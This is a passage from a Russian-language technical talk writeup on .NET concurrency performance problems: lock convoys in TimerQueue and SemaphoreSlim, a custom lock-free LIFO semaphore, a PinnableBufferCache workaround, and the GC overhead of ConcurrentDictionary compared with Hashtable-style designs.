Когда мы с этой ситуацией столкнулись, мы сняли дамп памяти с нашего приложения:
```
~*e!clrstack
System.Threading.Monitor.Enter(System.Object)
System.Threading.TimerQueueTimer.Change(…)
System.Threading.Timer.TimerSetup(…)
System.Threading.Timer..ctor(…)
System.Threading.Tasks.Task.Delay(…)
```
Для анализа дампа мы использовали инструмент WinDbg. Ввели команду, которая показывает stack trace'ы всех managed-потоков, и увидели такой результат. У нас есть очень много потоков в процессе, которые ждут на некотором lock'е. Метод Monitor.Enter — это то, во что разворачивается конструкция lock в C#. Этот lock захватывается внутри классов под названием Timer и TimerQueueTimer. В Timer'ы мы пришли как раз из Task.Delay при попытке их создания. Что получается? При запуске Task.Delay захватывается блокировка внутри TimerQueue.
### 1.3 Lock convoy
* Много потоков пытаются захватить один lock
* Под lock'ом выполняется мало кода
* Время тратится на синхронизацию потоков, а не на выполнение кода
* Блокируются потоки из тредпула – они не бесконечны
У нас произошёл lock convoy в приложении. Много потоков пытаются захватить один и тот же lock. Под этим lock'ом выполняется довольно мало кода. Ресурсы процессора здесь расходуются не на сам код приложения, а именно на операции по синхронизации потоков между собой на этом lock'е. Надо ещё отметить особенность, связанную с .NET: потоки, которые участвуют в lock convoy, — это потоки из тредпула.
Соответственно, если у нас блокируются потоки из тредпула, они могут закончиться — количество потоков в тредпуле ограничено. Его можно настроить, но при этом верхний предел всё равно есть. После его достижения все тредпульные потоки будут участвовать в lock convoy, и в приложении перестанет выполняться вообще какой-либо код, задействующий тредпул. Это значительно ухудшает ситуацию.
### 1.4 TimerQueue
* Управляет таймерами в .NET-приложении.
* Таймеры используются в:
— Task.Delay
— CancellationTocken.CancelAfter
— HttpClient
TimerQueue — это некоторый класс, который управляет всеми таймерами в .NET-приложении. Если вы когда-то программировали на WinForms, возможно, вы создавали таймеры вручную. Для тех, кто не знает, что такое таймеры: они используются в Task.Delay (это как раз наш случай), также они используются внутри CancellationToken, в методе CancelAfter. То есть замена Task.Delay на CancellationToken.CancelAfter нам бы никак не помогла. Кроме этого, таймеры используются во многих внутренних классах .NET, например, в HttpClient.
Насколько я знаю, в некоторых реализациях HttpClient handler'ов задействованы таймеры. Даже если вы ими не пользуетесь явно, не запускаете Task.Delay, скорее всего, вы их всё равно так или иначе используете.
Теперь давайте посмотрим на то, как TimerQueue устроен внутри.
* Global state (per-appdomain):
— Double linked list of TimerQueueTimer
— Lock object
* Routine, запускающая коллбэки таймеров
* Таймеры не упорядочены по времени срабатывания
* Добавление таймера: O(1) + lock
* Удаление таймера: O(1) + lock
* Запуск таймеров: O(N) + lock
Внутри TimerQueue есть глобальное состояние, это двусвязный список объектов типа TimerQueueTimer. TimerQueueTimer содержит в себе ссылку на другие TimerQueueTimer, на соседние в связном списке, также он содержит время срабатывания таймера и callback, который будет вызван при срабатывании таймера. Этот двусвязный список защищается lock-объектом, как раз тем, на котором в нашем приложении случился lock convoy. Также внутри TimerQueue есть Routine, которая запускает callback'и, привязанные к нашим таймерам.
Таймеры никак не упорядочены по времени срабатывания, вся структура оптимизирована под добавление/удаление новых таймеров. Когда запускается Routine, она пробегается по всему двусвязному списку, выбирает те таймеры, которые должны сработать, и вызывает для них callback'и.
Сложности операции здесь получаются такие. Добавление и удаление таймера происходит за O от единицы, а запуск таймеров происходит за линию. При этом если с алгоритмической сложностью здесь всё приемлемо, есть одна проблема: все эти операции захватывают блокировку, что не очень хорошо.
Какая ситуация может произойти? У нас в TimerQueue скопилось слишком много таймеров, соответственно, когда запускается Routine, она захватывает lock на свою долгую линейную операцию, в это время те, кто пытается запустить или удалить таймеры из TimerQueue, ничего с этим сделать не могут. Из-за этого происходит lock convoy. Эта проблема была исправлена в .NET Core.
> Reduce Timer lock contention (coreclr#14527)
>
> * Lock sharding
>
> — Environment.ProcessorCount TimerQueue's TimerQueueTimer
> * Separate queues for short/long-living timers
> * Short timer: time <= 1/3 second
>
>
>
> <https://github.com/dotnet/coreclr/issues/14462>
>
> <https://github.com/dotnet/coreclr/pull/14527>
>
>
Как её исправили? Расшардили TimerQueue: вместо одной TimerQueue, которая была статической на весь AppDomain, на всё приложение, сделали несколько TimerQueue. Когда туда приходят потоки и пытаются запустить свои таймеры, эти таймеры попадут в случайную TimerQueue, и у потоков будет меньше вероятность столкнуться на одной блокировке.
Также в .NET Core применили некоторые оптимизации. Разделили таймеры на долгоживущие и короткоживущие, для них теперь используются отдельные TimerQueue. Время короткоживущего таймера выбрали меньше 1/3 секунды. Не знаю, почему именно такую константу выбрали. В .NET Core проблемы с таймерами нам поймать никак не удалось.
<https://github.com/Microsoft/dotnet-framework-early-access/blob/master/release-notes/NET48/dotnet-48-changes.md>
<https://github.com/dotnet/coreclr/labels/netfx-port-consider>
Этот фикс бэкпортнули в .NET Framework, в версию 4.8. Выше в ссылке указан тег netfx-port-consider, если зайдёте в репозиторий .NET Core, CoreCLR, CoreFX, по этому тегу можете поискать issue, которые будут бэкпортиться в .NET Framework, сейчас их там порядка пятидесяти. То есть опенсорс .NET сильно помог, довольно много багов было исправлено. Можете почитать changelog .NET Framework 4.8: исправлено очень много багов, гораздо больше, чем в других релизах .NET. Что интересно, этот фикс по умолчанию в .NET Framework 4.8 выключен. Он включается во всем вам известном файле под названием App.config
Настройка в App.config, которая включает этот фикс, называется UseNetCoreTimer. До того, как вышел .NET Framework 4.8, чтобы наше приложение работало и не уходило в lock convoy, приходилось использовать свою реализацию Task.Delay. В ней мы попробовали использовать бинарную кучу, чтобы более эффективно понимать, какие таймеры нужно сейчас вызывать.
### 1.5 Task.Delay: собственная реализация
* BinaryHeap
* Sharding
* Помогло, но не во всех случаях
Использование бинарной кучи позволяет оптимизировать Routine, которая вызывает callback'и, но ухудшает время удаления произвольного таймера из очереди — для этого нужно перестраивать кучу. Скорее всего, именно поэтому в .NET используется двусвязный список. Конечно, только лишь использование бинарной кучи нам здесь бы не помогло, также пришлось расшардить TimerQueue. Это решение какое-то время работало, но потом всё равно всё снова упало в lock convoy из-за того, что таймеры используются не только там, где они запускаются в коде явно, но и в сторонних библиотеках и коде .NET. Чтобы полностью исправить эту проблему, необходимо обновиться до .NET Framework версии 4.8 и включить фикс от разработчиков .NET.
### 1.6 Task.Delay: выводы
* Подводные камни везде — даже в самых используемых вещах
* Проводите нагрузочное тестирование
* Переходите на Core, получайте багфиксы (и новые баги) первыми :)
Какие выводы из всей этой истории? Во-первых, подводные камни могут находиться реально везде, даже в тех классах, которые вы используете каждый день, не задумываясь, например, те же Task'и, Task.Delay.
Рекомендую проводить нагрузочное тестирование ваших предложений. Вот эту проблему мы как раз выявили ещё на этапе нагрузочного тестирования. Она у нас потом ещё несколько раз выстрелила на продакшне в других приложениях, но, тем не менее нагрузочное тестирование нам помогло отдалить время до того, как мы столкнулись с этой проблемой в реальности.
Переходите на .NET Core — вы будете получать исправления багов (и новые баги) самыми первыми. Куда же без новых багов?
На этом история про таймеры закончилась, и мы переходим к следующей.
История 2: SemaphoreSlim
------------------------
Следующая история про широко известный SemaphoreSlim.
### 2.1 Серверный троттлинг
* Требуется ограничить число параллельно обрабатываемых запросов на сервере
Мы хотели реализовать троттлинг на сервере. Что это такое? Наверное, вы все знаете троттлинг по CPU: когда процессор перегревается, он сам снижает свою частоту, чтобы охладиться, и у него за счет этого ограничивается производительность. Так же и здесь. Мы знаем, что наш сервер умеет обрабатывать параллельно N запросов и не падать при этом. Что мы хотим сделать? Ограничить количество одновременно обрабатываемых запросов этой константой и сделать так, что, если к нему приходит больше запросов, они встают в очередь и ждут, пока выполнятся те запросы, которые пришли раньше. Как эту задачу можно решать? Надо использовать какой-то примитив синхронизации.
Semaphore — примитив синхронизации, на котором можно подождать N раз, после чего тот, кто придёт N + первым и так далее, будет ждать на нём, пока Semaphore не освободят те, кто зашли под него раньше. Получается примерно вот такая картина: два потока выполнения, два воркера прошли под Semaphore, остальные — встали в очередь.
Конечно, просто Semaphore нам не очень подойдёт, он в .NET синхронный, поэтому мы взяли SemaphoreSlim и написали такой код:
```
var semaphore = new SemaphoreSlim(N);
…
await semaphore.WaitAsync();
await HandleRequestAsync(request);
semaphore.Release();
```
Создаём SemaphoreSlim, ждём на нём, под Semaphore обрабатываем ваш запрос, после этого Semaphore освобождаем. Казалось бы, это идеальная реализация серверного троттлинга, и лучше быть уже не может. Но всё гораздо сложнее.
### 2.2 Серверный троттлинг: усложнение
* Обработка запросов в LIFO порядке
* SemaphoreSlim
* ConcurrentStack
* TaskCompletionSource
Мы немного забыли про бизнес-логику. Запросы, которые приходят на троттлинг, являются реальными http-запросами. У них есть, как правило, некоторый таймаут, который задан тем, кто отправил этот запрос автоматически, или таймаут пользователя, который нажмёт F5 через какое-то время. Соответственно, если обрабатывать запросы в порядке очереди, как обычный Semaphore, то в первую очередь будут обрабатываться те запросы из очереди, у которых таймаут, возможно, уже истёк. Если же работать в порядке стека — обрабатывать в первую очередь те запросы, которые пришли самыми последними, такой проблемы не возникнет.
Кроме SemaphoreSlim нам пришлось использовать ConcurrentStack, TaskCompletionSource, навернуть очень много кода вокруг всего этого, чтобы всё работало в том порядке, как нам нужно. TaskCompletionSource — это такая штука, которая похожа на CancellationTokenSource, только не для CancellationToken, а для Task'а. Вы можете создать TaskCompletionSource, вытащить из него Task, отдать его наружу и потом сказать TaskCompletionSource, что надо выставить результат этому Task'у, и об этом результате узнают те, кто на этом Task'е ждёт.
Мы всё это реализовали. Код получился ужасным. и, что хуже всего, он оказался нерабочим.
Спустя несколько месяцев с начала его использования в довольно высоконагруженном приложении мы столкнулись с проблемой. Точно так же, как и в предыдущем случае, возросло потребление CPU до 100 %. Мы проделали аналогичные действия, сняли дамп, посмотрели его в WinDbg, и снова обнаружили lock convoy.
В этот раз Lock convoy произошёл внутри SemaphoreSlim.WaitAsync и SemaphoreSlim.Release. Выяснилось, что внутри SemaphoreSlim есть блокировка, он не lock-free. Это оказалось для нас довольно серьезным недостатком.
Внутри SemaphoreSlim есть внутреннее состояние (счётчик того, сколько под него ещё могут пройти воркеров), и двусвязный список тех, кто на этом Semaphore ждёт. Идеи здесь примерно такие же: можно подождать на этом Semaphore, можно отменить своё ожидание — удалиться из этой очереди. Есть блокировка, которая как раз нам жизнь и попортила.
Мы решили: долой весь ужасный код, который нам пришлось написать.
Давайте напишем свой Semaphore, который сразу будет lock-free и который будет сразу работать в порядке стека. Отмена ожидания при этом нам не важна.
Определим данное состояние. Здесь будет число currentCount — это сколько ещё мест осталось в Semaphore. Если мест в Semaphore не осталось, то это число будет отрицательным и будет показывать, сколько воркеров находится в очереди. Также будет ConcurrentStack, состоящий из TaskCompletionSource'ов — это как раз стек waiter'ов, из которых они при необходимости будут вытаскиваться. Напишем метод WaitAsync.
```
var decrementedCount = Interlocked.Decrement(ref currentCount);
if (decrementedCount >= 0)
return Task.CompletedTask;
var waiter = new TaskCompletionSource();
waiters.Push(waiter);
return waiter.Task;
```
Сначала мы уменьшаем счётчик, забираем себе одно место в Semaphore, если у нас были свободные места, и потом говорим: «Всё, ты прошёл под Semaphore».
Если мест в Semaphore не было, мы создаём TaskCompletionSource, кидаем его в стек waiter'ов и возвращаем во внешний мир Task'у. Когда придёт время, эта Task'а отработает, и воркер сможет продолжить свою работу и пройдёт под Semaphore.
Теперь напишем метод Release.
```
var countBefore = Interlocked.Increment(ref currentCount) - 1;
if (countBefore < 0)
{
if (waiters.TryPop(out var waiter))
waiter.TrySetResult(true);
}
```
Метод Release выглядит следующим образом:
* Освобождаем одно место в Semaphore
* Инкрементим currentCount
Если по currentCount можно сказать, есть ли внутри стека waiter'ы, о которых нужно сигнализировать, мы такие waiter'а вытаскиваем из стека и сигнализируем. Здесь waiter — это TaskCompletionSource. Вопрос к этому коду: он вроде бы логичный, но он вообще работает? Какие здесь есть проблемы? Есть нюанс, связанный с тем, где запускаются continuation'ы и TaskCompletionSource'ы.
Рассмотрим этот код. Мы создали TaskCompletionSource и запустили два Task'а. Первый Task выводит единицу, выставляет результат в TaskCompletionSource, а дальше выводит на консоль двойку. Второй Task ждёт на этом TaskCompletionSource, на его Task'е, а затем навсегда блокирует свой поток из тредпула.
Что здесь произойдёт? Task 2 при компиляции разделится на два метода, второй из которых — continuation, содержащий Thread.Sleep. После выставления результата TaskCompletionSource, этот continuation выполнится в том же потоке, в котором выполнялся первый Task. Соответственно, поток первого Task'а будет навсегда заблокирован, и двойка на консоль уже не напечатается.
Что интересно, я пробовал поменять этот код, и если я убирал вывод на консоль единицы, continuation запускался на другом потоке из тредпула и двойка печаталась. В каких случаях continuation будет выполнен в том же потоке, а в каких — попадёт на тредпул — вопрос для читателей.
```
var tcs = new TaskCompletionSource(
TaskCreationOptions.RunContinuationsAsynchronously);
/\* OR \*/
Task.Run(() => tcs.TrySetResult(true));
```
Для решения этой проблемы мы можем либо создавать TaskCompletionSource с соответствующим флагом RunContinuationsAsynchronously, либо вызывать метод TrySetResult внутри Task.Run/ThreadPool.QueueUserWorkItem, чтобы он выполнялся не на нашем потоке. Если он будет выполняться на нашем потоке, у нас могут возникнуть нежелательные side effect'ы. Вдобавок здесь есть вторая проблема, остановимся на ней подробнее.
Посмотрите на методы WaitAsync и Release и попробуйте найти в методе Release ещё одну проблему.
Скорее всего, найти ее так просто невозможно. Здесь есть гонка.
Она связана с тем, что в методе WaitAsync изменение состояния не атомарно. Вначале мы декрементим счётчик и только потом пушим waiter'а на стек. Если так получится, что Release выполнится между декрементом и пушем, то может выйти так, что он ничего не вытащит из стека. Это нужно учесть, и в методе Release дожидаться появления waiter'а в стеке.
```
var countBefore = Interlocked.Increment(ref currentCount) - 1;
if (countBefore < 0)
{
Waiter waiter;
var spinner = new SpinWait();
while (!waiter.TryPop(out waiter))
spinner.SpinOnce();
waiter.TrySetResult(true);
}
```
Здесь мы это делаем в цикле, пока у нас не получается его вытащить. Чтобы лишний раз не тратить циклы процессора, мы используем SpinWait.
В первые несколько итераций он будет крутиться по циклу. Если итераций станет много, waiter долго не будет появляться, то наш поток уйдет в Thread.Sleep, чтобы лишний раз не расходовать ресурсы CPU.
На самом деле, Semaphore с LIFO-порядком — это не только наша идея.
> **LowLevelLifoSemaphore**
>
> * Синхронный
> * На Windows использует в качестве стека Windows IO Completion port
>
>
>
> <https://github.com/dotnet/corert/blob/master/src/System.Private.CoreLib/src/System/Threading/LowLevelLifoSemaphore.cs>
Такой Semaphore есть в самом .NET, но не в CoreCLR, не в CoreFX, а в CoreRT. Иногда бывает довольно полезно заглядывать в репозитории .NET. Здесь есть Semaphore под названием LowLevelLifoSemaphore. Этот Semaphore нам бы всё равно не подошёл: он синхронный.
Что примечательно, на Windows он работает через IO Completion-порты. У них есть свойство, что на них могут ждать потоки, и эти потоки будут релизиться как раз в LIFO-порядке. Эта особенность там используется, он действительно LowLevel.
### 2.3 Выводы:
* Не надейтесь, что начинка фреймворка выживет под вашей нагрузкой
* Проще решать конкретную задачу, чем общий случай
* Нагрузочное тестирование помогает не всегда
* Опасайтесь блокировок
Какие выводы из всей этой истории? Во-первых, не надейтесь, что какие-то классы из фреймворка, которые вы используете из стандартной библиотеки, справятся с вашей нагрузкой. Я не хочу сказать, что SemaphoreSlim плохой, просто он оказался неподходящим конкретно в данном сценарии.
Нам оказалась гораздо проще написать свой Semaphore для конкретной задачи. Например, он не поддерживает отмену ожидания. Эта возможность есть в обычном SemaphoreSlim, у нас её нет, но это позволило упростить код.
Нагрузочное тестирование, хоть оно и помогает, может помочь далеко не всегда.
.NET известен тем, что у него довольно часто в неожиданных местах есть блокировки — их лучше опасаться. Если в своём коде вы пишете конструкцию lock, лучше задуматься: «Какая реально здесь будет нагрузка?» И если вдруг потребление CPU 100%, все потоки стоят на lock'е, то, возможно, это происходит где-то внутри .NET. Просто имейте в виду такую возможность.
Переходим к следующей истории.
История 3: (A)sync IO
---------------------
История про асинхронный ввод/вывод, который оказался не таким уж асинхронным.
Здесь также случился lock convoy, он произошёл по stack trace внутри класса под названием Overlapped и PinnableBufferCache. Там оказался lock. Что же это за классы: Overlapped и PinnableBufferCache?
[OVERLAPPED](https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-overlapped) — это структура в Windows, которая используется для всех операций ввода/вывода. У нас было довольно нагруженное приложение, это один из шардов нашей распределённой файловой системы. Он много работает и с файлами на диске, и сетью. И таких структур ему понадобилось очень много, вследствие этого и выявился lock convoy. Мы стали разбираться, в чём вообще причина этого lock convoy, почему раньше всё работало, а сейчас перестало.
Надо заметить, что эта история произошла уже довольно давно, во времена .NET 4.5.1 и 4.5.2. Тогда как раз вышел .NET 4.5.2, и отличие оказалось в изменениях, которые появились в .NET 4.5.2. В .NET 4.5.1 был класс под названием OverlappedDataCache, представлявший собой пул этих объектов Overlapped — действительно, зачем их создавать на каждую асинхронную операцию, проще сделать пул. Этот пул был хороший, был lock-free, основанный на ConcurrentStack, и с ним не возникало никаких проблем. В .NET 4.5.2 решили оптимизировать пуллинг этих объектов: убрали OverlappedDataCache и сделали PinnableBufferCache.
В чём отличие? PinnableBufferCache сделан с расчётом на то, что объекты Overlapped нужно передавать в нативный код, при этом объекты пиннятся, а пиннить объекты в младших поколениях — это дополнительная нагрузка на сборщик мусора. Соответственно, наружу бы неплохо отдавать объекты, которые уже попали во второе поколение. PinnableBufferCache был разбит на две части. Первая часть хорошая, lock-free, основанная на ConcurrentStack. Она предназначена для тех объектов, которые уже попали во второе поколение. Внутри этого пула есть вторая часть для объектов, которые ещё находятся в нулевом и первом поколении, и почему-то для них вместо lock-free структуры используется обычный list с lock'ом.
### 3.1 PinnableBufferCache
LockConvoy:
* Если закончились буферы
* При возврате объектов в пул
Здесь lock convoy происходил тогда, когда заканчивались буфер-объекты и нужно было создавать новые. В таком случае они попадают в плохой list при возврате этих объектов в пул, поскольку при возврате объектов lock захватывается для того, чтобы проверить, а не пора ли объекты из пула для нулевого и первого поколения переносить во второе поколение.
Мы стали изучать код PinnableBufferCache и обнаружили, что в нём есть обращение к недокументированной переменной окружения. Она называлась вот так:
```
PinnableBufferCache_System.ThreadingOverlappedData_MinCount
```
Эта переменная позволяла задать количество объектов, которые будут находиться в пуле изначально. Мы решили: «Отличная возможность! Давайте ей воспользуемся и поставим в эту переменную какое-нибудь большое число». Теперь у нас в приложении появился вот такой вуду-код:
```
Environment.SetEnvironmentVariable(
"PinnableBufferCache_System.Threading.OverlappedData_MinCount", "10000");
new Overlapped().GetHashCode();
for (int i = 0; i < 3; i++)
GC.Collect(GC.MaxGeneration, GCCollectionMode.Forced);
```
Что мы здесь делаем? Мы вначале выставляем переменную окружения, затем создаём объект Overlapped для того, чтобы пул инициализировался, а затем несколько раз вручную вызываем сборку мусора. Сборка мусора вызывается для того, чтобы все объекты, которые находятся в этом пуле, попали уже во второе поколение, и PinnableBufferCache от нас отстал со своим lock convoy'ем. Это решение оказалось рабочим, и оно до сих пор живо в нашем коде для фреймворка.
На .NET Core от PinnableBufferCache [избавились](https://github.com/dotnet/coreclr/pull/18360) тем, что перенесли OverlappedData в нативную память. Соответственно, пиннинг их в памяти уже стал не нужен, Garbage collector их никуда передвинуть не может, так как они в нативной памяти. На этом история в .NET Core и закончилась. В .NET Framework, если не ошибаюсь, ещё этот фикс не перенесли.
### 3.2 Выводы:
* Не все оптимизации одинаково полезны
* На этот раз просто повезло
* И снова .NET Core
Здесь явно хотели сделать как лучше, уменьшив нагрузку на сборщик мусора. Нам очень повезло, что разработчиками .NET была предусмотрена возможность задать минимальное количество объектов для этого пула через переменную, иначе нам бы пришлось писать хак пострашнее. И, опять же, попробуйте .NET Core. Возможно, это решит ваши перформансные проблемы, и вам даже не придётся для этого писать вуду-код.
Теперь перейдём к key-value коллекциям.
История 4: Concurrent key-value collections
-------------------------------------------
В .NET есть несколько concurrent-коллекций. Это lock-free коллекции ConcurrentStack и ConcurrentQueuе, с которыми у нас не возникало проблем. Есть коллекция ConcurrentDictionary, с ней всё интереснее. Она не lock-free на запись, там есть блокировки, но сейчас речь не о них. Почему вообще используют ConcurrentDictionary?
### 4.1 ConcurrentDictionary
Применения:
* Кэш
* Индекс
Плюсы:
* Входит в стандартную библиотеку
* Удобные операции (TryAdd/TryUpdate/AddOrUpdate)
* Lock-free чтения
* Lock-free enumeration
Его часто используют под различные кэши, memory-индексы, прочие структуры, в которые нужно уметь обращаться из нескольких потоков. Его любят за то, что он абсолютно стандартный, есть даже в .NET Framework. У него есть довольно удобные операции именно для работы из нескольких потоков. И, что важно, у него чтение и перечисление (enumeration) lock-free. Конечно, есть и подвохи.
Давайте рассмотрим, как устроена коллекция, основанная на хэш-таблице в .NET. Большинство key-value коллекций основано на хэш-таблицах и выглядят примерно так:
Вычисляется хэш-код, берётся по модулю количество bucket'ов. В самой коллекции есть несколько bucket'ов, в которых хранятся элементы. Если происходит коллизия, то в один bucket попадает несколько элементов, связанных между собой по принципу связанного списка.
Здесь каждый квадрат — это отдельный объект, почти ConcurrentDictionary. В ConcurrentDictionary на каждую пару «ключ-значение» создаётся отдельный объект. Причем при замене значений, если сами значения больше определённого размера, они постоянно пересоздаются, и от этого возникает ещё и memory traffic. Чтобы это был совсем ConcurrentDictionary, я нарисовал lock'и. Один квадрат — это один объект.
Теперь посмотрим на то, как устроен обычный Dictionary.
Обычный Dictionary устроен похитрее, чем Concurrent, но он более компактный по памяти. В нём есть два массива: массив buckets, массив entries. В массиве buckets находится индекс первого элемента в этом bucket'е в массиве entries. Все пары «ключ-значение» хранятся в массиве entries. Связные списки здесь организованы через ссылки на индексы в массиве. То есть дополнительно с парой «ключ-значение» хранится число int, индекс следующего элемента в bucket'е.
Давайте сравним memory overhead, который возникает при использовании ConcurrentDictionary и обычного Dictionary.
Начнём с обычного Dictionary. Memory overhea'ом я называю здесь всё, что не является самими ключами и значениями. В случае обычного Dictionary этот overhead составляет хэш-код и индекс следующего элемента, два int'а. Это 8 байт.
Теперь посмотрим на ConcurrentDictionary. В ConcurrentDictionary элемент хранится внутри объекта ConcurrentDictionary.Node. Это именно объект, класс. В этом классе находятся int hashCode и ссылка на следующий объект в связном списке. То есть у нас есть заголовки объекта, ссылка на метод table (это уже 16 байт), есть int hashCode и есть ссылка на объект. Если я не перепутал никакие размеры, то на 64-битной платформе это будет 28 байт overhead'а. Довольно много по сравнению с обычным Dictionary.
Кроме memory overhead'а, ConcurrentDictionary способен создавать нагрузку на GC за счёт того, что в нём есть очень много объектов. Я написал очень простой Benchmark. Я создаю ConcurrentDictionary определённого размера, а дальше замеряю время работы метода GC.Collect. Что же я получил?
Я получил вот такие результаты. Если у нас в процессе есть ConcurrentDictionary размером 10 млн элементов, то сборка мусора на моём компьютере занимает полсекунды, на сервере при этом эти полсекунды вполне могут уже превратиться в несколько секунд, что уже может быть довольно неприемлемо. С обычным Dictionary такого не происходит. Сколько элементов в него ни клади, там обычные массивы, два объекта, и всё очень хорошо. На время работы сборщика мусора не влияет.
Как можно справиться с проблемами, которые возникают при использовании ConcurrentDictionary?
### 4.2 Простые решения
* Ограничение на размер
* TTL
* Dictionary+lock
* Sharding
Давайте разберём простые эффективные решения. Мы можем ограничить размер нашего ConcurrentDictionary. Вряд ли нам нужно держать кэш на 10 миллионов элементов. Можно держать тысячу, и никаких проблем не будет. Можно сделать TTL для элементов, и периодически их вычищать. В некоторых случаях довольно эффективно использовать обычный Dictionary с lock'ом. Естественно, надо убедиться, что lock здесь не ухудшит производительность. Можно развить этот подход и расшардировать Dictionary с lock'ом самостоятельно перед размещением элементов по словарям, по некоторому хэш-коду раскладывать их в несколько словарей, тогда мы не будем конкурировать за один и тот же lock. Но при этом иногда бывает так, что простые решения не работают.
### 4.3 Индекс
* Нужно хранить in-memory индекс
* В индексе >106 элементов
* Постоянно происходят чтения из нескольких потоков
* Записи редкие
* Нужно уметь перечислять все элементы в коллекции
Мы столкнулись с подобной ситуацией. У нас очень важное приложение — это мастер нашей распределённой файловой системы, и ему нужно хранить в памяти in-memory индекс из Guid'а в Guid, помнить расположение файлов на серверах. В этом индексе было порядка миллиона элементов. Из этого индекса постоянно кто-то что-то читает, пишут в этот индекс редко. Получилось так, что сборка мусора у нас стала занимать в этом приложении порядка 15 секунд для второго поколения. Это было неприемлемо. Мы решили поступить аналогично Semaphore и написать свой аналог ConcurrentDictionary.
Надо, чтобы он был lock-free на чтение и перечисление, чтобы был меньший overhead по памяти и нагрузка на GC. Также нам достаточно, чтобы он поддерживал сценарий с одним писателем и несколькими читателями. То есть пишут в него редко, и нам не нужно, чтобы он был очень хорош на запись, достаточно на чтение. Можно даже так, чтобы он приходил в какое-то невалидное состояние, если в него придут сразу несколько писателей, их можно синхронизировать извне. И пусть, по возможности, всё это не попадает в Large Object Heap. Почему бы и нет?
Когда мы решили попробовать сделать такую штуку, то начали с исследования того, можно ли доработать обычный Dictionary под эти требования.
В обычном Dictionary есть массив bucket'ов, массив Entry. В Entry хранится ключ, значение, хэш и ссылка, индекс следующего элемента.
Обычный Dictionary потокобезопасен на чтение, если нет писателей, читатели не могут поменять его состояние. Возможно, это тоже может решить какие-то проблемы.
Что же может пойти не так, если всё-таки будут записи параллельно с чтениями? Во-первых, при ресайзе, когда массивы заменяются на массивы размеров больше, читатель может увидеть два массива, относящиеся к разным версиям нашей коллекции. Эта проблема решается довольно просто. У нас есть Dictionary, у него есть два массива, buckets, entries, мы объединяем эти массивы в один объект и при необходимости подменяем его через Interlocked. Соответственно, читатель никогда не увидит два массива из разных версий.
> **Dictionary**
>
> * Потокобезопасен на чтение, если нет писателей
> * Что может пойти не так, если будут записи?
>
> — При Resize увидели buckets и entries разных версий
>
> — Поток зациклился при переходе по индексам-ссылкам
>
> — Прочитали мусор вместо Dictionary.Entry
>
> — Перешли по индексам-ссылкам в мусор
>
>
>
> <https://blogs.msdn.microsoft.com/tess/2009/12/21/high-cpu-in-net-app-using-a-static-generic-dictionary/>
В интернете есть такая страшилка, что при многопоточном доступе к обычному Dictionary в нём может получиться цикл через индекс-ссылки внутри bucket'ов. На самом деле этот цикл может появиться, только если будет несколько конкурентных писателей. Если конкурентный писатель один, то сломаться могут только читатели, а писатель приведёт коллекцию в нужное ему состояние. Если у нас будет два параллельных писателя, то они могут образовать цикл внутри коллекции, это довольно легко воспроизвести.
Мы можем почитать мусор вместо Entry в Dictionary. Можем случайно перескочить по индекс-ссылкам куда-то не туда в коллекции. Давайте посмотрим, как эти проблемы можно решить.
Решение пришло из .NET Framework версии 1.1. В нём появился класс Hashtable, недженериковая версия Dictionary, которая работает с object'ами. Про неё прямо на MSDN сказано, что она реализует нужный нам сценарий. Она потокобезопасна, если из неё будут параллельно читать и при этом будет только один поток-писатель. Это нас заинтересовало. Стали разбирать, как Hashtable устроен внутри. Давайте посмотрим, как он решает некоторые обозначенные проблемы.
### 4.4 Чтение мусора вместо Dictionary.Entry
Почему так может произойти? Dictionary.Entry большой, он больше, чем 8 байт, его, казалось бы, не прочитать атомарно, хотя на самом деле можно. Как это сделать?
```
bool writing;
int version;
this.writing = true;
buckets[index] = …;
this.version++;
this.writing = false;
```
Заводятся две переменные: флаг (пишут ли сейчас в структуру, которую мы хотим читать) и int-версия. Очень стандартное решение, прикрутили версию. Писатель выставляет флаг, что он сейчас будет писать, пишет, обновляет версию, снимает флаг.
```
bool writing;
int version;
while (true)
{
int version = this.version;
bucket = bickets[index];
if (this.writing || version != this.version)
continue;
break;
}
```
Читатель делает чистое чтение, крутится в цикле и проверяет, поменялась ли версия и состояние этого флага при чтении. Если элемент поменялся или его меняют сейчас, надо попробовать перечитать. Такое решение позволяет считать атомарно структуры больше, чем 8 байт.
### 4.5 Переход по индексам-ссылкам в мусор
Давайте посмотрим, как это происходит.
В Dictionary можно перескочить на другой bucket при чтении из него, если при этом есть запись.
Есть Dictionary, состоящий из двух элементов. Я здесь для простоты написал ключи: 0 и 2. Это один bucket, 1 остаток у них от деления на 2. Что мы делаем? Читатель приходит и читает 0. После чего запоминает, что ему дальше нужно перейти в ячейку, где сейчас находится 2. После этого его поток прерывается. Дальше приходит писатель, удаляет 2, после чего добавляет на место этой двойки, например, 1. 1 даёт другой остаток от деления на 2 — это будет уже другой bucket. Наш читатель запомнил, что ему надо перейти в ячейку, где находилась двойка. Он читает оттуда 1 — всё, мы перескочили на другой bucket. В Hashtable от этой проблемы защитились тем, что вообще отказались от bucket'ов и индекс-ссылок. Там используется другой подход к разрешению коллизий — [double hashing](https://en.wikipedia.org/wiki/Double_hashing).
### 4.6 Обработка коллизий
* Элементы хранятся в массиве
* По хэшкоду определяется порядок обхода
**Запись**
* В первую свободную ячейку в порядке обхода
* Если нет свободных ячеек, то resize
**Чтение**
* Ищем элемент в порядке обхода, пока не найдем пустую ячейку
Обработка коллизий идет через так называемый порядок обхода. Все элементы точно так же лежат в одном массиве, но при этом уже нет массива Buckets, а есть только массив Entries (он там называется Buckets, хотя должен бы называться Entries). Дальше берётся хэш-код от элемента, который мы хотим найти в этой структуре, и мы понимаем, в каком порядке надо пройти по ячейкам в этом массиве, чтобы искать наш элемент.
При записи мы запишем наш элемент в первую свободную ячейку в порядке обхода. Если свободных ячеек нет, то будем ресайзить коллекцию.
Про чтение: будем идти в порядке обхода, пока не найдём нужный нам элемент, либо не найдём элемент, в котором записан признак того, что элементов дальше явно нет. Возможно, идея с порядком обхода показалась довольно смутной, поэтому разберем пример.
Рассмотрим самый простой порядок обхода, который может быть, — последовательный обход.
